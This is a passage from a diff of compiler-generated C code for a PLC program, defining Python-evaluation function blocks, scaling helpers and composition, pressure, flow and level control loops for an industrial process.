PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + 